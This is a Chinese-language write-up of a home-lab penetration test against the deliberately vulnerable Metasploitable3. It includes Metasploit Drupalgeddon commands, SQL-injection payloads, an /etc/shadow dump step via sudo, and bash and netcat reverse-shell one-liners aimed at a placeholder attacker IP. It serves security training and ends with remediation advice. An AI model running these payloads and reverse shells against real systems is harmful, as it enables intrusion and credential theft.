Metasploitable3 的家庭实验室渗透测试报告,涵盖 Nmap 侦察、Drupalgeddon 远程代码执行、SQL 注入、SSH 凭据复用、sudo 权限提升以及反向 shell。
作者: Arlen Fortunato
日期: 2026年9月
环境: Parrot OS(攻击机)→ Metasploitable3 Ubuntu 14.04(目标机)
范围: 完整网络渗透测试 — 枚举、利用、提权、后渗透
类型: 家庭实验室 / 夺旗练习
⚠️ 以下所有凭据均已脱敏。这是一次合法、隔离的家庭实验室演练。
| 工具 | 作用 |
|---|---|
| Nmap | 端口扫描、服务/版本检测、操作系统指纹识别 |
| Metasploit (msfconsole) | 漏洞利用(CVE-2014-3704)、会话管理 |
| msfvenom | Payload 生成(bash/netcat 反弹 shell) |
| nc (netcat) | 反弹 shell 监听 |
| curl / sed | 手工构造 SQLi + HTML 输出格式化 |
| ssh / scp | 远程访问、凭据验证 |
| openssl s_client | TLS/SSL 服务验证 |
| gobuster | 目录爆破(Web 枚举) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
操作系统: Linux Ubuntu 14.04,内核 3.13.0-24-generic x86_64
漏洞: UnrealIRCd 3.2.8.1 历史上曾分发带有木马的二进制文件,当未认证客户端在注册前发送触发字符串时,会执行任意命令 — 以 IRC 守护进程用户身份实现 RCE。
利用尝试: Metasploit 模块 exploit/unix/irc/unreal_ircd_3281_backdoor,配合 payload cmd/unix/reverse_perl、cmd/unix/reverse_netcat、cmd/unix/reverse_bash。模块自动检查报告该服务存在漏洞;任何 payload 均未返回会话。
执行的故障排查:
nc -vz)openssl s_client)nc 手动发送后门触发字符串,返回 IRC 协议错误 451 — 命令被解析为 IRC 命令,从未执行结论: 版本横幅表明为存在漏洞的构建,但此实例中后门不存在(干净/重新编译的二进制文件)。归类为不可利用 — 误报,并附有证据。
漏洞: Drupal 7.x 在 7.32 之前的版本中,数据库抽象层存在严重 SQL 注入,可导致未认证远程代码执行。
版本确认: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
利用:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
结果:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
后渗透枚举:
/var/www/html:chat/、drupal/、payroll_app.php、phpmyadmin//home:16 个用户账户漏洞: payroll_app.php 登录表单,密码字段存在 SQL 注入。未使用任何自动化工具 — 通过 curl 手工构造。
步骤 1 — 认证绕过:
' or 1=1#
' 闭合 SQL 字符串,or 1=1 强制为真,# 注释掉尾部引号。
步骤 2 — 列数 + 显示映射:
' UNION SELECT null, null, null, null# -- 无错误 = 4 列
' UNION SELECT 1, 2, 3, 4# -- 标记:1=Username, 2=First, 3=Last, 4=Salary
步骤 3 — information_schema 枚举:
| 问题 | 答案 |
|---|---|
| 数据库版本 / 用户 | MySQL 5.5.62,root@localhost |
| 数据库 | information_schema, drupal, mysql, payroll, performance_schema |
步骤 4 — 转储(密码已脱敏):
' UNION SELECT username, password, salary, null FROM users#
路径 1 — 默认账户: 默认 vagrant 凭据对通过 SSH 认证成功 → 该用户属于 sudo 组,拥有 (ALL : ALL) NOPASSWD: ALL。
路径 2 — 凭据复用: 从 SQLi 转储中收集的凭据直接通过 SSH 认证为另一个实验室用户(luke_skywalker,sudo 组,(ALL : ALL) ALL)。
意义: 展示了跨服务凭据复用 — 应用程序凭据映射到系统账户。
vagrant → sudo -l 显示 NOPASSWD: ALL → sudo su - → uid=0(root)。luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)。无需本地漏洞利用 — 两个账户均持有过度宽松的 sudo 授权。
sudo cat /etc/shadow
提取 16 个 md5crypt ($1$) 哈希 — 提权后完成完整凭据收集。
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
在 nc -lnvp 4444 上捕获 → 交互式 shell。
Payload 2 — netcat(命名管道):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
在 nc -lnvp 4445 上捕获 → 交互式 shell。
机制: 命名管道(FIFO)将 netcat 的 stdin/stdout 桥接到 /bin/sh,形成单套接字双向隧道;之后清理 FIFO。
所有测试均仅在隔离的家庭实验室中使用故意存在漏洞的软件(Rapid7 Metasploitable3)进行。未涉及任何生产系统或未授权目标。本报告仅用于教育目的和个人技能提升。
| 端口 | 状态 | 服务 | 版本 |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL(未授权) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | 漏洞 | CVE / 类型 | 端口 | 严重性 | 结果 |
|---|
| 1 | UnrealIRCd 版本指纹 — 后门探测 | CVE-2010-2075 | 6697 | ⚠️ 误报 | 模块自动检查通过,手动探测失败 — 该构建中不存在后门 |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 严重 | 以 www-data 身份获取 Meterpreter shell |
| 3 | 工资应用 — UNION SQLi(手工) | 手工注入 | 80 | 🔴 严重 | 完整数据库转储(15 个用户,明文密码 — 已脱敏) |
| 4 | SSH — 默认 + 复用凭据 | 默认 / 凭据复用 | 22 | 🔴 严重 | vagrant(NOPASSWD sudo)、luke_skywalker(sudo ALL) |
| 5 | 权限提升(两条路径) | sudo 配置错误 | N/A | 🔴 严重 | 通过两个账户均获得 root |
| 6 | Shadow 转储 | 后渗透 | N/A | 🔴 严重 | 提取 16 个 md5crypt 哈希 |
| 7 | 反弹 shell(bash + netcat) | msfvenom / 手工构造 | 4444/4445 | 🟠 高 | 在攻击机监听端捕获交互式 shell |
payroll 中的表 | users |
users 中的列 | username, first_name, last_name, password, salary |
| 用户名 | 密码 | 工资 |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 个其他账户) | [REDACTED] | — |
| 发现 | 建议 |
|---|
| UnrealIRCd 版本指纹 | 验证二进制文件来源完整性(校验和);升级或移除 |
| Drupal 7.5 | 升级至最新稳定版;应用 SA-CORE-2014-005 |
| 工资应用 SQLi | 参数化查询 / 预编译语句;验证输入 |
| 默认 SSH 凭据 | 轮换/移除默认账户;强制基于密钥的认证 |
| Sudo 权限过度 | 应用最小权限原则;移除 NOPASSWD 全量授权 |
| 凭据复用 | 强制每个服务使用唯一密码;制定密码策略 |
| 弱密码哈希 | 将 md5crypt 迁移至 bcrypt / Argon2id |